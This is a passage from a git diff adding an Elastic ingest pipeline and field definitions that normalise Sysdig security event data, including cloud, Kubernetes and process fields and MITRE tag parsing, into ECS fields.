date_timestamp + target_field: sysdig.event.timestamp + formats: + - ISO8601 + output_format: strict_date_optional_time_nanos + if: ctx.json?.timestamp != null && ctx.json.timestamp != '' + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: '@timestamp' + tag: set_@timestamp_from_timestamp + copy_from: sysdig.event.timestamp + ignore_empty_value: true + - date: + field: sysdig.event.content.fields.proc.pid_ts + tag: date_content_fields_proc_pid_ts + target_field: sysdig.event.content.fields.proc.pid_ts + formats: + - ISO8601 + output_format: strict_date_optional_time_nanos + if: ctx.sysdig?.event?.content?.fields?.proc?.pid_ts != null && ctx.sysdig.event.content.fields.proc.pid_ts != '' + on_failure: + - remove: + field: sysdig.event.content.fields.proc.pid_ts + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.start + tag: set_process_start_from_content_fields_proc_pid_ts + copy_from: sysdig.event.content.fields.proc.pid_ts + ignore_empty_value: true + - date: + field: sysdig.event.content.fields.proc.ppid_ts + tag: date_content_fields_proc_ppid_ts + target_field: sysdig.event.content.fields.proc.ppid_ts + formats: + - ISO8601 + output_format: strict_date_optional_time_nanos + if: ctx.sysdig?.event?.content?.fields?.proc?.ppid_ts != null && ctx.sysdig.event.content.fields.proc.ppid_ts != '' + on_failure: + - remove: + field: sysdig.event.content.fields.proc.ppid_ts + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.parent.start + tag: set_process_parent_start_from_content_fields_proc_ppid_ts + copy_from: sysdig.event.content.fields.proc.ppid_ts + ignore_empty_value: true + - set: + field: process.parent.name + tag: set_process_parent_name_from_content_fields_proc_pname + copy_from: sysdig.event.content.fields.proc.pname + ignore_empty_value: true + - convert: + field: sysdig.event.content.fields.proc.ppid + tag: convert_content_fields_proc_ppid_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: sysdig.event.content.fields.proc.ppid + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: process.parent.pid + tag: set_process_parent_pid_from_content_fields_proc_ppid + copy_from: sysdig.event.content.fields.proc.ppid + ignore_empty_value: true + - convert: + field: sysdig.event.content.fields.proc.sid + tag: convert_content_fields_proc_sid_to_string + type: string + ignore_missing: true + - append: + field: related.user + tag: append_content_fields_user_loginname_into_related_user + value: '{{{sysdig.event.content.fields.user.loginname}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.user?.loginname != null + - convert: + field: sysdig.event.content.fields.user.loginuid + tag: convert_content_fields_user_loginuid_to_string + type: string + ignore_missing: true + - append: + field: related.user + tag: append_content_fields_user_loginuid_into_related_user + value: '{{{sysdig.event.content.fields.user.loginuid}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.user?.loginuid != null + - set: + field: user.name + tag: set_user_name_from_content_fields_user_name + copy_from: sysdig.event.content.fields.user.name + ignore_empty_value: true + - append: + field: related.user + tag: append_content_fields_user_name_into_related_user + value: '{{{sysdig.event.content.fields.user.name}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.user?.name != null + - convert: + field: sysdig.event.content.fields.user.uid + tag: convert_content_fields_user_uid_to_string + type: string + ignore_missing: true + - set: + field: user.id + tag: set_user_name_from_content_fields_user_uid + copy_from: sysdig.event.content.fields.user.uid + ignore_empty_value: true + - append: + field: related.user + tag: append_content_fields_user_uid_into_related_user + value: '{{{sysdig.event.content.fields.user.uid}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.fields?.user?.uid != null + - rename: + field: json.content.integrationId + tag: rename_content_integrationId + target_field: sysdig.event.content.integration_id + ignore_missing: true + - rename: + field: json.content.integrationType + tag: rename_content_integrationType + target_field: sysdig.event.content.integration_type + ignore_missing: true + - rename: + field: json.content.namespace + tag: rename_content_namespace + target_field: sysdig.event.content.namespace + ignore_missing: true + - rename: + field: json.content.origin + tag: rename_content_origin + target_field: sysdig.event.content.origin + ignore_missing: true + - rename: + field: json.content.output + tag: rename_content_output + target_field: sysdig.event.content.output + ignore_missing: true + - set: + field: message + tag: set_message_from_content_output + copy_from: sysdig.event.content.output + ignore_empty_value: true + - convert: + field: json.content.policyId + tag: convert_content_policyId_to_string + target_field: sysdig.event.content.policy_id + type: string + ignore_missing: true + - convert: + field: json.content.policyNotificationChannelIds + tag: convert_content_policyNotificationChannelIds_to_string + target_field: sysdig.event.content.policy_notification_channel_ids + type: string + ignore_missing: true + - rename: + field: json.content.policyOrigin + tag: rename_content_policyOrigin + target_field: sysdig.event.content.policy_origin + ignore_missing: true + - append: + field: rule.author + tag: append_content_policy_origin_into_rule_author + value: '{{{sysdig.event.content.policy_origin}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.content?.policy_origin != null + - convert: + field: json.content.policyVersion + tag: convert_content_policyVersion_to_string + target_field: sysdig.event.content.policy_version + type: string + ignore_missing: true + - set: + field: rule.version + tag: set_rule_version_from_content_policy_version + copy_from: sysdig.event.content.policy_version + ignore_empty_value: true + - rename: + field: json.content.priority + tag: rename_content_priority + target_field: sysdig.event.content.priority + ignore_missing: true + - rename: + field: json.content.resourceKind + tag: rename_content_resourceKind + target_field: sysdig.event.content.resource_kind + ignore_missing: true + - rename: + field: json.content.resourceName + tag: rename_content_resourceName + target_field: sysdig.event.content.resource_name + ignore_missing: true + - rename: + field: json.content.ruleName + tag: rename_content_ruleName + target_field: sysdig.event.content.rule_name + ignore_missing: true + - set: + field: rule.name + tag: set_rule_name_from_content_rule_name + copy_from: sysdig.event.content.rule_name + ignore_empty_value: true + - convert: + field: json.content.ruleSubType + tag: convert_content_ruleSubType_to_long + type: long + target_field: sysdig.event.content.rule_sub_type + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.content.ruleTags + tag: rename_content_ruleTags + target_field: sysdig.event.content.rule_tags + ignore_missing: true + - script: + description: Set threat.* fields. + tag: script_set_threat_* + lang: painless + if : ctx.sysdig?.event?.content?.rule_tags instanceof List + source: > + ctx.threat = ctx.threat ?: [:]; + ctx.threat.tactic = ctx.threat.tactic ?: [:]; + ctx.threat.technique = ctx.threat.technique ?: [:]; + ctx.threat.technique.subtechnique = ctx.threat.technique.subtechnique ?: [:]; + ctx.threat.tactic.id = ctx.threat.tactic.id ?: []; + ctx.threat.technique.id = ctx.threat.technique.id ?: []; + ctx.threat.technique.subtechnique.id = ctx.threat.technique.subtechnique.id ?: []; + ctx.threat.tactic.name = ctx.threat.tactic.name ?: []; + ctx.threat.technique.name = ctx.threat.technique.name ?: []; + ctx.threat.technique.subtechnique.name = ctx.threat.technique.subtechnique.name ?: []; + Pattern pattern = /MITRE_(T[A-Z]\d{4})_(\w+)|MITRE_(T\d{4}(?:\.\d{3})?)_(\w+)/; + for (int i = 0; i < ctx.sysdig.event.content.rule_tags.size(); i++) { + def tag = ctx.sysdig.event.content.rule_tags[i]; + def matcher = pattern.matcher(tag); + if (matcher.find()) { + if (matcher.group(1) != null && matcher.group(2) != null) { + ctx.threat.tactic.id.add(matcher.group(1)); + ctx.threat.tactic.name.add(matcher.group(2)); + } else if (matcher.group(3) != null && matcher.group(4) != null) { + if (matcher.group(3).contains('.')) { + ctx.threat.technique.subtechnique.id.add(matcher.group(3)); + ctx.threat.technique.subtechnique.name.add(matcher.group(4)); + } else { + ctx.threat.technique.id.add(matcher.group(3)); + ctx.threat.technique.name.add(matcher.group(4)); + } + } + } + } + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: json.content.ruleType + tag: convert_content_ruleType_to_long + type: long + target_field: sysdig.event.content.rule_type + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.content.runBook + tag: rename_content_runBook + target_field: sysdig.event.content.run_book + ignore_missing: true + - rename: + field: json.content.scanResult + tag: rename_content_scanResult + target_field: sysdig.event.content.scan_result + ignore_missing: true + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + rename: + field: _ingest._value.eventId + tag: rename_content_sequence_eventId + target_field: _ingest._value.event_id + ignore_missing: true + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + rename: + field: _ingest._value.eventName + tag: rename_content_sequence_eventName + target_field: _ingest._value.event_name + ignore_missing: true + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + rename: + field: _ingest._value.ingestionId + tag: rename_content_sequence_ingestionId + target_field: _ingest._value.ingestion_id + ignore_missing: true + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + convert: + field: _ingest._value.sourceIpAddress + tag: convert_content_sequence_sourceIpAddress_to_ip + target_field: _ingest._value.source_ip_address + type: ip + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + append: + field: related.ip + tag: append_content_sequence_source_ip_address_into_related_ip + value: '{{{_ingest._value.source_ip_address}}}' + allow_duplicates: false + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + rename: + field: _ingest._value.subIngestionId + tag: rename_content_sequence_subIngestionId + target_field: _ingest._value.sub_ingestion_id + ignore_missing: true + - foreach: + field: json.content.sequence + tag: foreach_json_content_sequence + if: ctx.json?.content?.sequence instanceof List + processor: + remove: + field: + - _ingest._value.sourceIpAddress + tag: remove_content_sequence + ignore_missing: true + - rename: + field: json.content.sequence + tag: rename_content_sequence + target_field: sysdig.event.content.sequence + ignore_missing: true + - foreach: + field: json.content.stats + tag: foreach_json_content_stats + if: ctx.json?.content?.stats instanceof List + processor: + convert: + field: _ingest._value.count + tag: convert_content_stats_to_long + type: long + ignore_missing: true + on_failure: + - remove: + field: _ingest._value.count + ignore_missing: true + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: json.content.stats + tag: rename_content_stats + target_field: sysdig.event.content.stats + ignore_missing: true + - rename: + field: json.content.type + tag: rename_content_type + target_field: sysdig.event.content.type + ignore_missing: true + - foreach: + field: json.content.zones + tag: foreach_json_content_zones + if: ctx.json?.content?.zones instanceof List + processor: + convert: + field: _ingest._value.zoneId + tag: convert_content_zones_zoneId_to_string + target_field: _ingest._value.id + type: string + ignore_missing: true + - foreach: + field: json.content.zones + tag: foreach_json_content_zones + if: ctx.json?.content?.zones instanceof List + processor: + rename: + field: _ingest._value.zoneName + tag: rename_content_zones_zoneName + target_field: _ingest._value.name + ignore_missing: true + - foreach: + field: json.content.zones + tag: foreach_json_content_zones + if: ctx.json?.content?.zones instanceof List + processor: + remove: + field: + - _ingest._value.zoneId + tag: remove_content_zones + ignore_missing: true + - rename: + field: json.content.zones + tag: rename_content_zones + target_field: sysdig.event.content.zones + ignore_missing: true + - rename: + field: json.description + tag: rename_description + target_field: sysdig.event.description + ignore_missing: true + - set: + field: rule.description + tag: set_rule_description_from_description + copy_from: sysdig.event.description + ignore_empty_value: true + - rename: + field: json.engine + tag: rename_engine + target_field: sysdig.event.engine + ignore_missing: true + - rename: + field: json.id + tag: rename_id + target_field: sysdig.event.id + ignore_missing: true + - set: + field: event.id + tag: set_event_id_from_id + copy_from: sysdig.event.id + ignore_empty_value: true + - rename: + field: json.labels + tag: rename_labels + target_field: sysdig.event.labels + ignore_missing: true + - dot_expander: + field: '*' + tag: dot_expander_labels + path: sysdig.event.labels + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - convert: + field: sysdig.event.labels.aws.accountId + tag: convert_labels_aws_accountId_to_string + target_field: sysdig.event.labels.aws.account_id + type: string + ignore_missing: true + - append: + field: related.user + tag: append_labels_aws_user_into_related_user + value: '{{{sysdig.event.labels.aws.user}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.labels?.aws?.user != null + - convert: + field: sysdig.event.labels.azure.instanceId + tag: convert_labels_azure_instanceId_to_string + target_field: sysdig.event.labels.azure.instance_id + type: string + ignore_missing: true + - set: + field: cloud.instance.id + tag: set_cloud_instance_id_from_labels_azure_instance_id + copy_from: sysdig.event.labels.azure.instance_id + ignore_empty_value: true + - rename: + field: sysdig.event.labels.azure.instanceName + tag: rename_labels_azure_instanceName + target_field: sysdig.event.labels.azure.instance_name + ignore_missing: true + - set: + field: cloud.instance.name + tag: set_cloud_instance_name_from_labels_azure_instance_name + copy_from: sysdig.event.labels.azure.instance_name + ignore_empty_value: true + - rename: + field: sysdig.event.labels.azure.instanceSize + tag: rename_labels_azure_instanceSize + target_field: sysdig.event.labels.azure.instance_size + ignore_missing: true + - set: + field: cloud.machine.type + tag: set_cloud_machine_type_from_labels_azure_instance_size + copy_from: sysdig.event.labels.azure.instance_size + ignore_empty_value: true + - rename: + field: sysdig.event.labels.azure.subscriptionId + tag: rename_labels_azure_subscriptionId + target_field: sysdig.event.labels.azure.subscription_id + ignore_missing: true + - convert: + field: sysdig.event.labels.cloudProvider.account.id + tag: convert_labels_cloudProvider_account_id_to_string + target_field: sysdig.event.labels.cloud_provider.account.id + type: string + ignore_missing: true + - set: + field: cloud.account.id + tag: set_cloud_account_id_from_labels_cloud_provider_account_id + copy_from: sysdig.event.labels.cloud_provider.account.id + ignore_empty_value: true + - rename: + field: sysdig.event.labels.cloudProvider.name + tag: rename_labels_cloudProvider_name + target_field: sysdig.event.labels.cloud_provider.name + ignore_missing: true + - set: + field: cloud.provider + tag: set_cloud_provider_from_labels_cloud_provider_name + copy_from: sysdig.event.labels.cloud_provider.name + ignore_empty_value: true + - rename: + field: sysdig.event.labels.cloudProvider.region + tag: rename_labels_cloudProvider_region + target_field: sysdig.event.labels.cloud_provider.region + ignore_missing: true + - set: + field: cloud.region + tag: set_cloud_region_from_labels_cloud_provider_region + copy_from: sysdig.event.labels.cloud_provider.region + ignore_empty_value: true + - rename: + field: sysdig.event.labels.cloudProvider.user + tag: rename_labels_cloudProvider_user + target_field: sysdig.event.labels.cloud_provider.user + ignore_missing: true + - append: + field: related.user + tag: append_labels_cloud_provider_user_into_related_user + value: '{{{sysdig.event.labels.cloud_provider.user}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.labels?.cloud_provider?.user != null + - append: + field: container.image.hash.all + tag: append_labels_container_image_digest_into_container_image_hash_all + value: '{{{sysdig.event.labels.container.image.digest}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.labels?.container?.image?.digest != null + - script: + description: Append container image hash to related.hash field. + tag: script_append_container_image_hash_to_related_hash + lang: painless + if : ctx.sysdig?.event?.labels?.container?.image?.digest != null + source: >- + ctx.related = ctx.related ?: [:]; + ctx.related.hash = ctx.related.hash ?: []; + String digest = ctx.sysdig.event.labels.container.image.digest; + int index = digest.indexOf(':'); + String hash = digest.substring(index + 1); + ctx.related.hash.add(hash); + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - rename: + field: sysdig.event.labels.gcp.availabilityZone + tag: rename_labels_gcp_availabilityZone + target_field: sysdig.event.labels.gcp.availability_zone + ignore_missing: true + - set: + field: cloud.availability_zone + tag: set_cloud_availability_zone_from_labels_gcp_availability_zone + copy_from: sysdig.event.labels.gcp.availability_zone + ignore_empty_value: true + - convert: + field: sysdig.event.labels.gcp.instanceId + tag: convert_labels_gcp_instanceId_to_string + target_field: sysdig.event.labels.gcp.instance_id + type: string + ignore_missing: true + - set: + field: cloud.instance.id + tag: set_cloud_instance_id_from_labels_gcp_instance_id + copy_from: sysdig.event.labels.gcp.instance_id + ignore_empty_value: true + if: ctx.cloud?.instance?.id == null + - rename: + field: sysdig.event.labels.gcp.instanceName + tag: rename_labels_gcp_instanceName + target_field: sysdig.event.labels.gcp.instance_name + ignore_missing: true + - set: + field: cloud.instance.name + tag: set_cloud_instance_name_from_labels_gcp_instance_name + copy_from: sysdig.event.labels.gcp.instance_name + ignore_empty_value: true + if: ctx.cloud?.instance?.name == null + - rename: + field: sysdig.event.labels.gcp.machineType + tag: rename_labels_gcp_machineType + target_field: sysdig.event.labels.gcp.machine_type + ignore_missing: true + - set: + field: cloud.machine.type + tag: set_cloud_machine_type_from_labels_gcp_machine_type + copy_from: sysdig.event.labels.gcp.machine_type + ignore_empty_value: true + if: ctx.cloud?.machine?.type == null + - convert: + field: sysdig.event.labels.gcp.projectId + tag: convert_labels_gcp_projectId_to_string + target_field: sysdig.event.labels.gcp.project_id + type: string + ignore_missing: true + - set: + field: cloud.project.id + tag: set_cloud_project_id_from_labels_gcp_project_id + copy_from: sysdig.event.labels.gcp.project_id + ignore_empty_value: true + - rename: + field: sysdig.event.labels.gcp.projectName + tag: rename_labels_gcp_projectName + target_field: sysdig.event.labels.gcp.project_name + ignore_missing: true + - set: + field: cloud.project.name + tag: set_cloud_project_name_from_labels_gcp_project_name + copy_from: sysdig.event.labels.gcp.project_name + ignore_empty_value: true + - rename: + field: sysdig.event.labels.host.hostName + tag: rename_labels_host_hostName + target_field: sysdig.event.labels.host.host_name + ignore_missing: true + - set: + field: host.hostname + tag: set_host_hostname_from_labels_host_host_name + copy_from: sysdig.event.labels.host.host_name + ignore_empty_value: true + - set: + field: host.name + tag: set_host_name_from_labels_host_host_name + copy_from: sysdig.event.labels.host.host_name + ignore_empty_value: true + - append: + field: related.hosts + tag: append_labels_host_host_name_into_related_hosts + value: '{{{sysdig.event.labels.host.host_name}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.labels?.host?.host_name != null + - uppercase: + field: sysdig.event.labels.host.mac + tag: uppercase_labels_host_mac + ignore_missing: true + - gsub: + field: sysdig.event.labels.host.mac + tag: gsub_labels_host_mac + pattern: '[-:.]' + replacement: '-' + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - append: + field: host.mac + tag: append_labels_host_mac_into_host_mac + value: '{{{sysdig.event.labels.host.mac}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.labels?.host?.mac != null + - set: + field: orchestrator.cluster.name + tag: set_orchestrator_cluster_name_from_labels_kubernetes_cluster_name + copy_from: sysdig.event.labels.kubernetes.cluster.name + ignore_empty_value: true + - rename: + field: sysdig.event.labels.kubernetes.cronJob.name + tag: rename_labels_kubernetes_cronJob_name + target_field: sysdig.event.labels.kubernetes.cron_job.name + ignore_missing: true + - rename: + field: sysdig.event.labels.kubernetes.daemonSet.name + tag: rename_labels_kubernetes_daemonSet_name + target_field: sysdig.event.labels.kubernetes.daemon_set.name + ignore_missing: true + - set: + field: orchestrator.namespace + tag: set_orchestrator_namespace_from_labels_kubernetes_namespace_name + copy_from: sysdig.event.labels.kubernetes.namespace.name + ignore_empty_value: true + - set: + field: orchestrator.resource.name + tag: set_orchestrator_resource_name_from_labels_kubernetes_pod_name + copy_from: sysdig.event.labels.kubernetes.pod.name + ignore_empty_value: true + - set: + field: orchestrator.resource.parent.type + tag: set_orchestrator_resource_parent_type_from_labels_kubernetes_workload_type + copy_from: sysdig.event.labels.kubernetes.workload.type + ignore_empty_value: true + - convert: + field: sysdig.event.labels.source.ip + tag: convert_labels_source_ip + type: ip + ignore_missing: true + if: ctx.sysdig?.event?.labels?.source?.ip != '' + on_failure: + - rename: + field: sysdig.event.labels.source.ip + tag: rename_labels_source_ip + target_field: sysdig.event.labels.source.domain + ignore_missing: true + - set: + field: source.ip + tag: set_source_ip_from_labels_source_ip + copy_from: sysdig.event.labels.source.ip + ignore_empty_value: true + - append: + field: related.ip + tag: append_labels_source_ip_into_related_ip + value: '{{{sysdig.event.labels.source.ip}}}' + allow_duplicates: false + if: ctx.sysdig?.event?.labels?.source?.ip != null + - rename: + field: json.name + tag: rename_name + target_field: sysdig.event.name + ignore_missing: true + - set: + field: rule.ruleset + tag: set_rule_ruleset_from_name + copy_from: sysdig.event.name + ignore_empty_value: true + - rename: + field: json.originator + tag: rename_originator + target_field: sysdig.event.originator + ignore_missing: true + - rename: + field: json.rawEventCategory + tag: rename_rawEventCategory + target_field: sysdig.event.raw_event_category + ignore_missing: true + - rename: + field: json.rawEventOriginator + tag: rename_rawEventOriginator + target_field: sysdig.event.raw_event_originator + ignore_missing: true + - convert: + field: json.severity + tag: convert_severity_to_long + type: long + target_field: sysdig.event.severity + ignore_missing: true + on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.severity + tag: set_event_severity_from_severity + copy_from: sysdig.event.severity + ignore_empty_value: true + - set: + field: sysdig.event.severity_value + tag: set_event_severity_value_to_high + value: High + if: ctx.event?.severity != null && ctx.event.severity >= 0 && ctx.event.severity <= 3 + - set: + field: sysdig.event.severity_value + tag: set_event_severity_value_to_medium + value: Medium + if: ctx.event?.severity != null && ctx.event.severity >= 4 && ctx.event.severity <= 5 + - set: + field: sysdig.event.severity_value + tag: set_event_severity_value_to_low + value: Low + if: ctx.event?.severity != null && ctx.event.severity == 6 + - set: + field: sysdig.event.severity_value + tag: set_event_severity_value_to_info + value: Info + if: ctx.event?.severity != null && ctx.event.severity == 7 + - rename: + field: json.source + tag: rename_source + target_field: sysdig.event.source + ignore_missing: true + - set: + field: event.provider + tag: set_event_provider_from_source + copy_from: sysdig.event.source + ignore_empty_value: true + - rename: + field: json.sourceDetails.subType + tag: rename_sourceDetails_subType + target_field: sysdig.event.source_details.sub_type + ignore_missing: true + - rename: + field: json.sourceDetails.type + tag: rename_sourceDetails_type + target_field: sysdig.event.source_details.type + ignore_missing: true + - set: + field: orchestrator.type + tag: set_orchestrator_type + value: kubernetes + if: >- + ctx.sysdig?.labels?.kubernetes?.cluster?.name != null || + ctx.sysdig?.labels?.kubernetes?.namespace?.name != null || + ctx.sysdig?.labels?.kubernetes?.pod?.name != null || + ctx.sysdig?.labels?.kubernetes?.workload?.type != null + - append: + field: event.category + tag: append_process_to_event_category + value: process + if: >- + ctx.process?.name != null || + ctx.process?.pid != null || + ctx.process?.command_line != null || + ctx.process?.executable != null + - remove: + field: + - sysdig.event.content.fields.container.id + - sysdig.event.content.fields.container.image.repository + - sysdig.event.content.fields.container.image.tag + - sysdig.event.content.fields.container.name + - sysdig.event.content.fields.container.privileged + - sysdig.event.content.fields.group.gid + - sysdig.event.content.fields.group.name + - sysdig.event.content.fields.proc.acmdline[2] + - sysdig.event.content.fields.proc.acmdline[3] + - sysdig.event.content.fields.proc.acmdline[4] + - sysdig.event.content.fields.proc.aexepath[2] + - sysdig.event.content.fields.proc.aexepath[3] + - sysdig.event.content.fields.proc.aexepath[4] + - sysdig.event.content.fields.proc.aname[2] + - sysdig.event.content.fields.proc.aname[3] + - sysdig.event.content.fields.proc.aname[4] + - sysdig.event.content.fields.proc.cmdline + - sysdig.event.content.fields.proc.cwd + - sysdig.event.content.fields.proc.exepath + - sysdig.event.content.fields.proc.hash.sha256 + - sysdig.event.content.fields.proc.name + - sysdig.event.content.fields.proc.pcmdline + - sysdig.event.content.fields.proc.pexepath + - sysdig.event.content.fields.proc.pid + - sysdig.event.content.fields.proc.pid_ts + - sysdig.event.content.fields.proc.pname + - sysdig.event.content.fields.proc.ppid + - sysdig.event.content.fields.proc.ppid_ts + - sysdig.event.content.fields.user.name + - sysdig.event.content.fields.user.uid + - sysdig.event.content.output + - sysdig.event.content.policy_origin + - sysdig.event.content.policy_version + - sysdig.event.content.rule_name + - sysdig.event.description + - sysdig.event.id + - sysdig.event.labels.cloud_provider.account.id + - sysdig.event.labels.cloud_provider.name + - sysdig.event.labels.cloud_provider.region + - sysdig.event.labels.container.image.digest + - sysdig.event.labels.host.host_name + - sysdig.event.labels.host.mac + - sysdig.event.labels.kubernetes.cluster.name + - sysdig.event.labels.kubernetes.namespace.name + - sysdig.event.labels.kubernetes.pod.name + - sysdig.event.labels.kubernetes.workload.type + - sysdig.event.labels.source.ip + - sysdig.event.name + - sysdig.event.severity + - sysdig.event.source + - sysdig.event.timestamp + tag: remove_custom_duplicate_fields + ignore_missing: true + if: ctx.tags == null || !ctx.tags.contains('preserve_duplicate_custom_fields') + - remove: + field: + - json + - sysdig.event.content.fields.aws.accountId + - sysdig.event.content.fields.aws.sourceIP + - sysdig.event.labels.aws.accountId + - sysdig.event.labels.azure.instanceId + - sysdig.event.labels.cloudProvider.account.id + - sysdig.event.labels.gcp.instanceId + - sysdig.event.labels.gcp.projectId + tag: remove_json + ignore_missing: true + # Cleanup + - script: + description: This script processor iterates over the whole document to remove fields with null values. + tag: script_to_drop_null_values + lang: painless + source: | + void handleMap(Map map) { + map.values().removeIf(v -> { + if (v instanceof Map) { + handleMap(v); + } else if (v instanceof List) { + handleList(v); + } + return v == null || v == '' || v == '' || v == '-1' ||(v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) + }); + } + void handleList(List list) { + list.removeIf(v -> { + if (v instanceof Map) { + handleMap(v); + } else if (v instanceof List) { + handleList(v); + } + return v == null || v == '' || v == '' || v == '-1' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) + }); + } + handleMap(ctx); + - set: + field: event.kind + tag: set_pipeline_error_into_event_kind + value: pipeline_error + if: ctx.error?.message != null + - append: + field: tags + value: preserve_original_event + allow_duplicates: false + if: ctx.error?.message != null +on_failure: + - append: + field: error.message + value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' + - set: + field: event.kind + tag: set_pipeline_error_to_event_kind + value: pipeline_error + - append: + field: tags + value: preserve_original_event + allow_duplicates: false diff --git a/packages/sysdig/data_stream/event/fields/base-fields.yml b/packages/sysdig/data_stream/event/fields/base-fields.yml new file mode 100644 index 00000000000..76ac1a66e48 --- /dev/null +++ b/packages/sysdig/data_stream/event/fields/base-fields.yml @@ -0,0 +1,20 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: event.module + type: constant_keyword + description: Event module. + value: sysdig +- name: event.dataset + type: constant_keyword + description: Event dataset. + value: sysdig.event +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/packages/sysdig/data_stream/event/fields/beats.yml b/packages/sysdig/data_stream/event/fields/beats.yml new file mode 100644 index 00000000000..4084f1dc7f5 --- /dev/null +++ b/packages/sysdig/data_stream/event/fields/beats.yml @@ -0,0 +1,6 @@ +- name: input.type + type: keyword + description: Type of filebeat input. +- name: log.offset + type: long + description: Log offset. diff --git a/packages/sysdig/data_stream/event/fields/ecs.yml b/packages/sysdig/data_stream/event/fields/ecs.yml new file mode 100644 index 00000000000..d448b55977a --- /dev/null +++ b/packages/sysdig/data_stream/event/fields/ecs.yml @@ -0,0 +1,30 @@ +- name: process.hash.sha256 + type: keyword +- name: process.parent.command_line + type: keyword +- name: process.parent.executable + type: keyword +- name: process.parent.name + type: keyword +- name: process.parent.parent.command_line + type: keyword +- name: process.parent.parent.executable + type: keyword +- name: process.parent.parent.name + type: keyword +- name: process.parent.parent.parent.command_line + type: keyword +- name: process.parent.parent.parent.executable + type: keyword +- name: process.parent.parent.parent.name + type: keyword +- name: process.parent.parent.parent.parent.command_line + type: keyword +- name: process.parent.parent.parent.parent.executable + type: keyword +- name: process.parent.parent.parent.parent.name + type: keyword +- name: process.parent.pid + type: long +- name: process.parent.start + type: date diff --git a/packages/sysdig/data_stream/event/fields/fields.yml b/packages/sysdig/data_stream/event/fields/fields.yml new file mode 100644 index 00000000000..00a297fd3f1 --- /dev/null +++ b/packages/sysdig/data_stream/event/fields/fields.yml @@ -0,0 +1,415 @@ +- name: sysdig + type: group + fields: + - name: event + type: 